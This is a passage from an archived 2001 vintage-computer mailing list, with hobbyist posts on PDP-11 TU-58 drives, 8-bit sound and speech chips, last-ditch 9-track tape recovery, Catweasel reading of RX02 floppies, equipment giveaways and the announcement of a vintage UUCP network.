sorted and either trashed or given away or traded. Since I only use hardware to run PDP-11 software, nothing special is required - as long as I can lift it with one hand for at least ten seconds - convert that to 600 seconds for you younger fellows. One thing that I would like to repair is a real DEC TU-58 (tape drive) in the external box. These were often used with a PDP-11/44. The one I have does not seem to work any longer and on occasion, I need to test the DD(X).SYS device driver with real hardware to make sure it works with new versions of the software. Also, can anyone help with finding boot ROMs that can handle the TU-58? I suspect that I would put the boot ROMs in a multi-function board in a Qbus backplane to boot with a dual 11/73 (M8192). In the meantime, once I can get the TU-58 to work again, I will connect it to the COM2: port on a PC and use it to boot RT-11. Think about that. A 25 year old tape drive with a total capacity of 250 KBytes running a 25 year old operating system (for a CPU that originally ran at about 2 MHz) now running on a PC clocking in at 1.4 GHz with a 30 GByte hard disk drive. And the bottleneck is the serial cable between the TU-58 and the PC running at 9600 baud or about 1 KBytes per second transfer rate - to say nothing of the SERIAL search time between the different 512 blocks on the tape that looks like a disk drive - DD(X).SYS - to the rest of the RT-11 operating system software. Sincerely yours, Jerome Fine From geneb at deltasoft.com Thu Jun 14 16:29:39 2001 From: geneb at deltasoft.com (Gene Buckle) Date: Sun Feb 27 19:04:30 2005 Subject: OT - F-15C Cockpit [was Enigma [was Ebay horror]] In-Reply-To: Message-ID: > counted them. Everybody believed it was a hoax until the school brought the > case to the plant and then heads rolled. Actually only an empty case. I've > heard that small military items, weapons, occasionally disappear because > they are never visually counted only accounted for in the computer. > The guy I got the F-15 from ended up with a brand new torpedo the same way. He used to buy their shipment cases as surplus and due to a mixup at the facility that was disposing of the containers, a full one was loaded. The Navy gave birth to a full grown cow when they found out about it. It had the guidance section as well as the warhead (if I recall correctly) installed. g. From foo at siconic.com Thu Jun 14 15:24:11 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:30 2005 Subject: A/C for Workstations In-Reply-To: Message-ID: On Thu, 14 Jun 2001, McFadden, Mike wrote: > I think they make some water cooled units, the heat is dumped into the > water which is then exhausted as waste. Maybe it could be attached to > a garden hose. Of course water and computers rarely mix well. Tell that to IBM. They just introduced a laptop that has an internal water cooling system :) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From John.Citron at pgillc.com Thu Jun 14 16:37:47 2001 From: John.Citron at pgillc.com (Citron, John) Date: Sun Feb 27 19:04:30 2005 Subject: The List! Message-ID: <7F10FDF1B85CD411A52200508BAE319B1FAC2E@pgimail.pgillc.com> was looking over your list of "old computers"... I worked for Visual Technology/Ontel Corporation from 1983 - 1987. Visual made two computer products. The V-1050 and the Commuter Computer. The V-1050 was identical to the Ontel Amigo, but with a different case and like the Amigo, it ran CP/M. The Amigo ran CP/M 2.2. The V-1050 ran CP/M-Plus (3.3). The Visual unit, like the Amigo, could support a 5 or 10MB HD located in an external unit. The drive was connected by a centronics to centronics cable. The 1050 had two high density floppy drives. I don't remember how many drives the Amigo supported. The Commuter Computer was an IBM PC Compatible unit that came with MS-DOS 2.2. These units shipped with a maximum of 512k of ram and a 25 line LCD display. This is a great list. It's hard to believe how many companies have changed/ folded over the past twenty years. John From foo at siconic.com Thu Jun 14 15:43:31 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:30 2005 Subject: 9-Track Magtape data Recovery Technique (Last Ditch!) In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD37151173@jeffserver.tegjeff.com> Message-ID: On Thu, 14 Jun 2001, Douglas Quebbeman wrote: > I thought judicious cleaning of the tape head might > help. I kept trying, no luck. Then I started to drink. > > As the alcohol took affect, I got a wild idea. My > drive is a Cipher F880 streamer. You can slide it > out of the rack tray, and if you enter the right > sequence of button presses, you can unlock the > front door, and even better, the top lid, which > provides access to the tape path during operation. > <...> > > Has anyone else ever tried this? I know what you're > thinking, flaky jerk, getting drunk and burning up > vintage hardware. But it worked! I spent a few hours > looking at the files to make sure they were intact; > they were. I transferred some of them, but not all, > as I don't have a transfer program to get stuff off > the Prime right now (other than to simply list it > and capture the listing). Some of my finest thoughts have come from under the influence of a fine alcoholic beverage. Also, some of my worst. But the benefits of the good thoughts far outweigh the bad :) I commend you on "thinking outside the box" ;) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From optimus at canit.se Tue Jun 12 00:04:31 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:30 2005 Subject: Proteon P4200 and Suminet 3500H/FDDI In-Reply-To: Message-ID: <1174.563T1550T3645279optimus@canit.se> Don Maslin skrev: >On Sat, 9 Jun 2001, Brian Hechinger wrote: >> well, hmmmmm. i've tried a handful of rates/settings and haven't come up >> with much, tried straight through and roll-over, nothing works for me. if >> it's in japanese i have no idea what to expect output to look like on a non >> japanese terminal (if i added japanese support to solaris would tip be able >> to take advantage of that??) i can plug the thing in and show you the >> garbage i get at 9600 8n1 if you'd like. >I would rather expect it to look a lot like the Chinese spam that we see >from Hong Kong and Taiwan occasionally. There is considerable >similarity in their characters. I don't agree. The Chinese charsets which I've seen (there are of course several) do not particularly look like Japanese ones when viewed on an 8-bit terminal. Chinese tends to stay primarily within the visible upper 128 characters, whereas Japanese mostly renders as a lot of "square" characters. I can quite easily see the difference between Japanese and Chinese without any 16-bit rendering software. -- En ligne avec Thor 2.6a. The generation of random numbers is too important to be left to chance. From optimus at canit.se Tue Jun 12 22:38:45 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:30 2005 Subject: Sound chips Message-ID: <1366.564T2250T2785723optimus@canit.se> I'm sitting here in the middle of the night listening to Amstrad CPC music. For those of you who don't know, the CPC had an AY-3-8910. The same chip could be found on late Spectrum models and apparently also in the Research Machines Nimbus. The Atari ST uses a Yamaha clone of the same chip, called YM2149. I believe that the MSX uses such a chip, too. However, when running a Windows programs called STSOUND, which emulates said chip, I saw that the ST drives its blipp-blopp chip at 2 MHz, whereas the Spectrum and Amstrad run their chips at lower rates. In what way does this really affect the sound? The change is perfectly audible, but what does it do? Does it just affect the throughput, replaying the tune faster, or does it affect the waveforms, and in that case, in what way? Another question: The Sega Master System and the BBC use an SN76489 sound chip. Both the AY/YM chip and the SN one are "PSG" chips. That means that they've got three square wave channels and a noise channel which may (at least on the AY/YM) be mixed with the square channels. But are those chips related, or are they just chips which happen to use the same techniques? BTW, I must add that the PSG chips are really pathetic in comparison to the SID. I suppose they beat the Atari's Pokey, though. =) -- En ligne avec Thor 2.6a. A conservative is a worshipper of dead radicals. From vance at ikickass.org Thu Jun 14 17:47:43 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:30 2005 Subject: A/C for Workstations In-Reply-To: Message-ID: IBM has a LOT of experience with systems water cooling, though. All those years of bipolar mainframes. (No, not manic depressive bipolar, silly 8-)) Peace... Sridhar On Thu, 14 Jun 2001, Sellam Ismail wrote: > On Thu, 14 Jun 2001, McFadden, Mike wrote: > > > I think they make some water cooled units, the heat is dumped into the > > water which is then exhausted as waste. Maybe it could be attached to > > a garden hose. Of course water and computers rarely mix well. > > Tell that to IBM. They just introduced a laptop that has an internal > water cooling system :) > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org > From dittman at dittman.net Thu Jun 14 17:55:54 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:30 2005 Subject: VAXstation 3100 Message-ID: <200106142255.f5EMtsX16704@narnia.int.dittman.net> Is there anyone in the Dallas area that would be interested in a couple of VAXstation 3100 boxes? They both have color video boards (not sure of the model, though), but one of the boards has a problem. One unit has no memory other than the 4MB on-board. The other unit has two optional memory boards for a total of 32MB. One of the units has a dual SCSI board and the other has a SCSI/MFM board (and a defective floppy drive). One of the systems was also modified with the faster clock, but a socket was installed so it can be restored to the usual speed. Neither of the units have any internal hard drives. I can't remember if they have the internal cables, but I think they do. I haven't used these in about three years, having upgraded to a VAXstation 4000/60. I don't want to ship them, so if you are in the area you can have them both for $50, or if you think that's too much, make an offer. If I don't have any local takers I'll be open to shipping them. -- Eric Dittman dittman@dittman.net From jhellige at earthlink.net Thu Jun 14 17:57:19 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:30 2005 Subject: Sound chips In-Reply-To: <1366.564T2250T2785723optimus@canit.se> References: <1366.564T2250T2785723optimus@canit.se> Message-ID: >BTW, I must add that the PSG chips are really pathetic in comparison to the >SID. I suppose they beat the Atari's Pokey, though. =) For 1978, the Atari Pokey (as well as the Antic and CTIA/GTIA) were pretty advanced. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From edick at idcomm.com Thu Jun 14 17:58:19 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:30 2005 Subject: Sound chips References: <1366.564T2250T2785723optimus@canit.se> Message-ID: <002201c0f525$814435a0$9cc762d8@idcomm.com> Wasn't the AY3-8910 a speech generator or is that a different gimmick? I seem to remember having one somewhere in the "pit." IIRC, it uses a 3.12 MHz crystal in the then-popular application. It is, BTW, (if it's the part I'm thinking of) easily interfaced via the parallel printer port on nearly any Micro. Dick ----- Original Message ----- From: "Iggy Drougge" To: "Classic computing" Sent: Tuesday, June 12, 2001 9:38 PM Subject: Sound chips > I'm sitting here in the middle of the night listening to Amstrad CPC music. > For those of you who don't know, the CPC had an AY-3-8910. The same chip > could be found on late Spectrum models and apparently also in the Research > Machines Nimbus. The Atari ST uses a Yamaha clone of the same chip, called > YM2149. I believe that the MSX uses such a chip, too. > However, when running a Windows programs called STSOUND, which emulates said > chip, I saw that the ST drives its blipp-blopp chip at 2 MHz, whereas the > Spectrum and Amstrad run their chips at lower rates. In what way does this > really affect the sound? The change is perfectly audible, but what does it do? > Does it just affect the throughput, replaying the tune faster, or does it > affect the waveforms, and in that case, in what way? > > Another question: The Sega Master System and the BBC use an SN76489 sound > chip. Both the AY/YM chip and the SN one are "PSG" chips. That means that > they've got three square wave channels and a noise channel which may (at least > on the AY/YM) be mixed with the square channels. But are those chips related, > or are they just chips which happen to use the same techniques? > > BTW, I must add that the PSG chips are really pathetic in comparison to the > SID. I suppose they beat the Atari's Pokey, though. =) > > -- > En ligne avec Thor 2.6a. > > A conservative is a worshipper of dead radicals. > > From geoffrob at stmarks.pp.catholic.edu.au Thu Jun 14 18:51:08 2001 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 19:04:30 2005 Subject: 9-Track Magtape data Recovery Technique (Last Ditch!) References: <7A9BACCEF0171D4FB77019F5104CDD37151173@jeffserver.tegjeff.com> Message-ID: <008701c0f52c$e244cde0$de2c67cb@stmarks.pp.catholic.edu.au> ----- Original Message ----- From: "Douglas Quebbeman" To: Sent: Friday, June 15, 2001 5:56 AM Subject: 9-Track Magtape data Recovery Technique (Last Ditch!) > So, I took a cleaning swab, soaked it in cleaner > (not Freon TF, and likely a poor substitute) and > applied it against the tape, directly before the > tape read head. It immediately stopped re-trying, > and started streaming! LOL. I remember using this technique back in the mid 70's when I worked in a TV station. This is in the days of the RCA TR-60 2" reel to reel VTR's with quadriplex heads, about 6ft high, 4 feet wide and 3 feet deep, weighed around 600lbs IIRC, and needed 3 phase and compressed air. Some of the programs we got for play (bear in mind this is country tv in Australia in the 70's) included some that were quite old (even by 2" tape standards). Some were so poor that they were shedding oxide the whole time, and would clog the heads on the TR60 within minutes, causing breakup. Technique was to stand there with an isopropyl soaked chamois held against the tape about 3" before it entered the headwheel assembly. This cleaned the worst of the loose stuff off, and the tape had time to dry before it hit the headwheel. Worked like a charm. But we used an awful lot of isopropyl that way. > When the swab would get dry, I'd pull it away, and > almost immediately, the drive would start retrying > until once again, I brought the wet swab against > the tape. We had it down to a fine art, using 2 chamois, as one dried out, someone handed you the other one, pre dampened. We played several 1 hour shows to air this way until management decided to start dubbing the dodgy stuff first. > Doubtless, this is going to leave all kinds of crud > on the tape path, and might even shorten the drive's > life. We used to clean tape paths several times a day anyway, RCA initially recoiled in horror when we told them what we were doing, but when the shock wore off they admitted that it was no worse than playing the flaky tape, provided that it was dry before it hit the headwheel. We used to get well over 1000 hours (used to get a fancy '1000 hour club' certificate from RCA) on most of our headwheels, so it didn't seem to bother it much. On something without rotating pinhead sized heads I doubt if it would cause any harm one way or the other, apart from it needing a good clean afterwards. Cheers Geoff in Oz From ard at p850ug1.demon.co.uk Thu Jun 14 18:46:39 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:31 2005 Subject: Sound chips In-Reply-To: <002201c0f525$814435a0$9cc762d8@idcomm.com> from "Richard Erlacher" at Jun 14, 1 04:58:19 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1578 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010615/642ce6ec/attachment.ksh From allain at panix.com Thu Jun 14 19:30:26 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:31 2005 Subject: Ebay horror ... References: <200106140319.f5E3JCw00608@grover.winsite.com> Message-ID: <00fd01c0f532$6003b700$8a0101ac@ibm23xhr06> > If you were there, it was in a double space, under an awning, and > his main thing was old telegraph keys. Yeah, that guy was Tom Perera, and he's like the Behemoth bike guy, Steve Roberts... They're both legendary and are 'no can miss' when they show at your Flea. I've seen Tom in Boston so he gets around. Maybe they both should put out tour schedules! John A. re:http://w1tp.com/ http://www.microship.com/ From allain at panix.com Thu Jun 14 18:29:43 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:31 2005 Subject: One website with people on classiccmp's "for trade/wanted" lists....could be searchable by parts, location, interests etc...this an idea? References: <001901c0f48f$40616800$0200a8c0@gamerclaude> Message-ID: <00b301c0f52e$dc453e00$8a0101ac@ibm23xhr06> My impression is that there are just too many different FRU's (probably 100,000 ~ 1M) out there for our group to satisfy everyone even with the ungodly stacks of stuff some people have. Just DEC alone probably made 50,000 different part types. I also get the impression that there are a *few* people out there on the list that would collect too much anyway (IE all of it ) if it all became available at once. Most people seem to want only one part anyway: the Q/SCSI adaptor . Maybe this is a good metric: How many components/FRU's etc are you looking to take in: give out: sell: buy: for me it's about 5 25 0 5 I consider "all of them" or "infinite" a {s|m}ad answer. John A. From allain at panix.com Thu Jun 14 19:10:07 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:31 2005 Subject: A/C for Workstations References: Message-ID: <00cb01c0f52f$89752e00$8a0101ac@ibm23xhr06> > ...the heat is dumped into the water which is then > exhausted as waste. Maybe it could be attached > to a garden hose.... Maybe they could take the opportunity to pass in a few leftover GE PCB's at the same time? (apologies Deerhake, et al.) Johh A. From allain at panix.com Thu Jun 14 18:46:52 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:31 2005 Subject: Questions regarding a PDP11/34a References: Message-ID: <00b401c0f52e$dd0ea880$8a0101ac@ibm23xhr06> > I remember someone asking about loading software over a serial line? Thinking I had on the subject is that it would be trivial, given the 11's console abilities (set address, deposit byte) to take machine code and have a PC program turn it into a stream of Deposit instructions, heck it could be a 'vi' macro. There may be a need to control feed speed, but I'd just try dialing the baud rate down for starters. John A. From allain at panix.com Thu Jun 14 19:05:16 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:31 2005 Subject: A/C for Workstations References: Message-ID: <00b701c0f52e$ddb68140$8a0101ac@ibm23xhr06> +AD4- http://www.spot-coolers.com/t+AF8-watercooled+AF8-index.html Hmmmm maybe a trailer mounted?+ACE-?+ACE-? I think IBM used the classic 10. Me likey the desktop fridge idea (thanks Mike). They weigh about 40lbs in cabinet so w/o cabinet would be tiny indeed. John A. From bshannon at tiac.net Thu Jun 14 19:43:23 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:04:31 2005 Subject: Unibus (was Re: VMS Documentation CD-ROM &unibus question) References: Message-ID: <3B295A2B.AEE8689C@tiac.net> I've got some documentation on these, I repaired one for a friend many years back. Clearly one of the most collectable vintage machines! Tony Duell wrote: > > > > HP 9100? > > Exactly.. > > The 8 pin chips are the sense amplifiers and comparators on the > (magnetic) card reader PCB. All the logic is discrete components (and > that wonderful ROM-in-a-PCB). > > > > > > Incidentally, has anyone ever seen a 0.125" pitch 44 pin (22 pin DS) edge > > > > > connector. No, I don't mean 0.156" (I was asking about those a few weeks > > > > > back, I know). The 0.125" version is used as the expansion connector on > > > > > one classic (very classic) desktop machine. > > [...] > > > > > > Minor puzzle : Which machine? > > > > > > > > No idea. > > > > > > OK, a few hints... Many people wouldn't call it a computer (although it > > > is). There are a total of 8 ICs in it, and all are simple 8 pin devices. > > > A fair number of transistors and diodes, but not as many as you'd expect. From mbg at world.std.com Thu Jun 14 19:52:38 2001 From: mbg at world.std.com (Megan) Date: Sun Feb 27 19:04:31 2005 Subject: Sound chips Message-ID: <200106150052.UAA03966@world.std.com> I used the AY-3-8910 as the heart of a music board for my 11/10 years ago... I had it connected to a DR11-C (16 bit parallel interface). A friend at the time designed a circuit which allowed me to connect a couple of SGC chips and control them, and another friend had translated the stanford music compiler to pdp-11 code and we got it all working... at one point, I had the keyboard of the console VT52 setup to be like a piano... Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg KB1FCA | +--------------------------------+-------------------------------------+ From foo at siconic.com Thu Jun 14 18:53:41 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:31 2005 Subject: Ebay horror ... In-Reply-To: <00fd01c0f532$6003b700$8a0101ac@ibm23xhr06> Message-ID: On Thu, 14 Jun 2001, John Allain wrote: > Yeah, that guy was Tom Perera, and he's like the Behemoth bike guy, > Steve Roberts... They're both legendary and are 'no can miss' when > they show at your Flea. I've seen Tom in Boston so he gets around. > Maybe they both should put out tour schedules! By the way, Steve Roberts' bike is in the Computer Museum History Center now. He wrote a book about his travels called "Computing Across America". I just scored another copy of it (autographed :) at a thrift store. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From jhellige at earthlink.net Thu Jun 14 19:55:01 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:31 2005 Subject: Sound chips In-Reply-To: References: Message-ID: >Incidentally, Tandy/Radio Shack sold a speech/sound cartridge for the >CoCo. It contained a microcontroller, an SPO256 speech chip and an >AY-3-891x sound chip. Didn't they sell the SPO256 alone, among all the other single IC's? I know that even recently I've seen their 'speech chip' on the shelf but have never bothered to notice exactly who's chip it is. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From mbg at world.std.com Thu Jun 14 19:55:42 2001 From: mbg at world.std.com (Megan) Date: Sun Feb 27 19:04:31 2005 Subject: Questions regarding a PDP11/34a References: Message-ID: <200106150055.UAA06849@world.std.com> >Thinking I had on the subject is that it would be trivial, given the 11's >console abilities (set address, deposit byte) to take machine code and >have a PC program turn it into a stream of Deposit instructions, heck it >could be a 'vi' macro. There may be a need to control feed speed, but I'd >just try dialing the baud rate down for starters. This was basically the idea behind a device which DEC was working on for field service, but never released -- the TechMate. It was an 11/2, TU58-based system built into a suitcase which would be used to download test programs to an -11 or uVax via the console line... I believe it was killed because it was too heavy (about 30 lbs)... I have one of the protos. (I'll be bringing it to the VCF/east) Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg KB1FCA | +--------------------------------+-------------------------------------+ From bshannon at tiac.net Thu Jun 14 20:03:08 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:04:31 2005 Subject: Does anyone collect Apollo workstations? References: <1366.564T2250T2785723optimus@canit.se> Message-ID: <3B295ECC.5DFAE2BF@tiac.net> Are DN300's or a DN330 of any interest? The DN3XX machines have a nice external drive box that features a half-height 8-inch floppy, probably DSDD. I have a number of these, along with the 8 inch winchester disks. What about the DN660? (thats a cool Apollo!) Plays an awesome game of battle zone! Or the DN3000, DN3500, DN4000 style machines? From jhfine at idirect.com Thu Jun 14 20:03:09 2001 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 19:04:31 2005 Subject: cw2dmk 1.6: now does RX02 also References: <200106130631.f5D6VZ8388692@pachyderm.pa.dec.com> Message-ID: <3B295ECD.19F8BDA6@idirect.com> >tim.mann@compaq.com wrote: > I've updated the cw2dmk program to version 1.6. This is a program that > uses the Catweasel ISA disk controller to read disk formats that are hard > or impossible to read with an ordinary PC floppy disk controller. The > new version adds a few features, among them the ability to read the DEC > RX02 double density format. See http://www.tim-mann.org/trs80resources.html Jerome Fine replies: When you mentioned the Catweasel ISA disk controller and compared it to an ordinary PC floppy disk controller, it sounds like you are suggesting that it can run on an ordinary PC? Am I correct in this assumption? If so, is a special driver also required or does the cw2dmk program do everything? Also, a rather important question, which floppy drive is used? I understand that no ordinary PC floppy disk controller/drive drive is able to read/write the DEC RX02 "double density format" since it is really only a single density header followed by double density data - or something similar. It is my understanding that there were third party Qbus controllers which used Calcomp 8" floppy drives and that even the DEC RX02 controller could use the Calcomp drive and be double sided. Is that possible with the cw2dmk program, namely is an 8" RX03 double-density double-sided (DSDD) floppy possible? > Source code is included under the GPL, so those who prefer to build their > own hardware instead of buying a Catweasel (let's not start *that* debate > again) may find it of some use too. Since I am not a hardware type, where can I find the Catweasel controller and a floppy drive so I can read 8" floppy RX02 diskettes on the PC - assuming that my understanding is correct? And please also help with my question as to DSDD floppies since more than half of my 8" floppies are DSDD - I used a DSD 880/30 (Data Systems Design) system on my PDP-11 Qbus system and modified the driver under RT-11 to also use the other side of the floppy in the DYX.SYS device driver as well as adding a bounce buffer so that DYX.SYS could be used under the 22 bit address range of the V5.0x versions of RT-11. Thanks in advance for any help. I use the PC that I have available to me most of the time now when I run RT-11, so being able to access the 8" floppies would be a big plus if this is possible. Sincerely yours, Jerome Fine From jhingber at ix.netcom.com Thu Jun 14 20:57:37 2001 From: jhingber at ix.netcom.com (Jeffrey Ingber) Date: Sun Feb 27 19:04:31 2005 Subject: UPDATE: NeXT parts available, others too In-Reply-To: <3B22EA0B.1000406@ix.netcom.com> References: <3B22EA0B.1000406@ix.netcom.com> Message-ID: <992570260.1442.0.camel@desk-2> I'm sorry for the lack of updates to the parties that e-mailed me regarding the NeXT parts. I received much more mail than expected, and it's taken some time to sort through it all and reply to each inquiry. If I expressed interest in a trade, I will contact you as soon as my schedule permits. Hopefully, I'll know who's getting what by tomorrow, but no promises. I still have everyone's email and the parts they wanted. Thanks for your understanding, Jeff From foo at siconic.com Thu Jun 14 20:08:49 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:31 2005 Subject: Questions regarding a PDP11/34a In-Reply-To: <200106150055.UAA06849@world.std.com> Message-ID: On Thu, 14 Jun 2001, Megan wrote: > I believe it was killed because it was too heavy (about 30 lbs)... I guess the somewhat successful Osborne and others of its ilk didn't impress them? Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From claudew at videotron.ca Thu Jun 14 21:25:40 2001 From: claudew at videotron.ca (Claude.W) Date: Sun Feb 27 19:04:31 2005 Subject: Spigot video capture software? Message-ID: <002501c0f542$79177140$0200a8c0@gamerclaude> Hi I have an old Spigot video capture Mac nubus card and have no software or manuals. I think the software was called Screenplay. I looked at the radiusvintage site and I cant find it anywhere. Anybody can help me on this? Claude http://www.members.tripod.com/computer_collector From schoedel at kw.igs.net Thu Jun 14 21:54:07 2001 From: schoedel at kw.igs.net (Kevin Schoedel) Date: Sun Feb 27 19:04:31 2005 Subject: One website with people on classiccmp's "for trade/wanted" lists....could be searchable by parts, location, interests etc...this an idea? In-Reply-To: <00b301c0f52e$dc453e00$8a0101ac@ibm23xhr06> References: <001901c0f48f$40616800$0200a8c0@gamerclaude> <00b301c0f52e$dc453e00$8a0101ac@ibm23xhr06> Message-ID: On 2001/06/14 at 7:29pm -0400, John Allain wrote: >Most people seem to want only one part anyway: the Q/SCSI >adaptor . Dunno; I've got four left, and could see swapping two or three for... something better. Qbus systems are all (?) boring ol' micros anyway; I was rather disappointed that the box I got last month turned out to just have an 11/23 behind a Q/U interface. (Augh... far too busy to be saying things like that.) -- Kevin Schoedel schoedel@kw.igs.net From edick at idcomm.com Thu Jun 14 21:57:23 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:31 2005 Subject: Sound chips References: Message-ID: <002201c0f546$e7180200$9cc762d8@idcomm.com> I do believe you're right, Tony. I had an occasion to hook up both these chips back in the early '80's when my partner got a couple of samples and wanted to play with them. I attached the speech device to the printer port because I envisioned packaging it together with an LM386 amp in a little speaker box, with direct connection to the printer port. It worked adequately and my partner, a very talented software weenie, had the thing talking quite well within an hour or so. I began to regret I'd let him take it with him after seeing the fruits of his effort a week later. I didn't think much of the chip, yet he'd gotten it to where it spoke as well as he did, albeit in somewhat of a monotone. Judicious use of the silences made the speech quite intellegible. I don't remember a thing about the music chip. Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Thursday, June 14, 2001 5:46 PM Subject: Re: Sound chips > > > > Wasn't the AY3-8910 a speech generator or is that a different gimmick? I seem > > to remember having one somewhere in the "pit." IIRC, it uses a 3.12 MHz crystal > > in the then-popular application. It is, BTW, (if it's the part I'm thinking of) > > easily interfaced via the parallel printer port on nearly any Micro. > > No, you're thinking of the SPO256-AL2 speech sythesiser chip. The -AL2 > suffix BTW meant that the sounds were 'allophones' which could be > combined to make most Engish words. There were other, custom, versions > with different ROM programming which had limited vocabulary, but which > could say a complete word given a single command. Somewhere I have one of > those for a digital clock application. > > The AY-3-8910 (and -8912, -8913) had 3 internal tone generators, an > noise generator, 'mixer', amplitude envelope generator, etc. They were > tone/music generator ICs. The difference between the 3 versions was that > the -8910 has 2 8 bit I/O ports, the -8912, 1 I/O port and the -8913 > none. > > All were designed to connect to a multiplexed address/data bus on the > processor side, but it wasn't hard to use them with most microprocessors. > They certainly turned up in a lot of machines (Oric, Einstein to name but > 2 of the less obvious ones). > > Incidentally, Tandy/Radio Shack sold a speech/sound cartridge for the > CoCo. It contained a microcontroller, an SPO256 speech chip and an > AY-3-891x sound chip. The microcontroller was programmed to do > text-to-speech conversions and to sequence the sound chip so it could > automatically play tunes, etc. > > -tony > > From rigdonj at intellistar.net Thu Jun 14 22:07:54 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:31 2005 Subject: Does anyone collect Apollo workstations? In-Reply-To: <3B295ECC.5DFAE2BF@tiac.net> References: <1366.564T2250T2785723optimus@canit.se> Message-ID: <5.1.0.14.1.20010614230559.00a09800@mailhost.intellistar.net> A buddy of mine here in Orlando, semi-collects them. He has two (330s I think). He used to be on this list but couldn't keep up with the traffi so he dropped off. The same guy is a real nut about Compupros and he has a TON of those! Joe At 09:03 PM 6/14/01 -0400, you wrote: >Are DN300's or a DN330 of any interest? > >The DN3XX machines have a nice external drive box that features a half-height >8-inch floppy, probably DSDD. I have a number of these, along with the 8 inch >winchester disks. > >What about the DN660? (thats a cool Apollo!) Plays an awesome game of battle >zone! > >Or the DN3000, DN3500, DN4000 style machines? From vaxcat at retrocomputing.com Thu Jun 14 22:14:28 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:31 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: <3B295ECD.19F8BDA6@idirect.com> References: <200106130631.f5D6VZ8388692@pachyderm.pa.dec.com> Message-ID: [Ok, here is the "announcement" of VUNIC/VUnet, which is my effort to provide information and resources to get folks connecting to each other via UUCP. It just seems natural that we should connect our vintage computers with vintage networking. I want to act as a facilitator to help make that happen. Am I an expert at UUCP? Certainly not. That's why I'm going to ask, as I get this project underway, for every little shred of help I can get from those of you who ARE experts. (I've set up UUCP clients and servers, mind you, but I'm by no means an expert like many of you.) Software, documentation, information, hints, tips, suggestions, configuration assistance and moral support are all welcome. I'll provide more information as things progress.] June 14, 2001 ------------------------------------------------------------- ANNOUNCING THE VINTAGE UUCP NETWORK INFORMATION CENTER ------------------------------------------------------------- TERMINOLOGY VUNIC - Vintage UUCP Network Information Center VUnet - Vintage UUCP Network PURPOSE [Some of this text is shamelessly copied from http://www.uucp.org, the original site for The UUCP Mapping Project.] VUNIC is being started as a means to facilitate the exchange of electronic mail, news and file transfers among vintage computer collectors, restorers and preservations using the UUCP store-and-forward transport mechanism. UUCP software, originally part of the UNIX operating system became available on a variety of operating systems and platforms, from large mainframes to small home PC's. RFC 976 was created to define the email format for these messages and made it possible to shorten and simplify addressing for UUCP-transported messages. VUNIC's mission is to recreate a single worldwide database of vintage systems connected to each other via UUCP and then using path building software (such as pathalias) to determine the optimal path from one system to another. Email addresses using this system incorporate the use of the path as part of the address. The UUCP Mapping Project, which concluded at the end of 2000, is the model upon which VUNIC will be built. In addition, VUNIC will provide a web site with software and documentation for building UUCP clients and servers on vintage computer platforms as well as modern systems to be used as Internet/VUnet gateways. RESOURCES VUNIC will operate a website and FTP 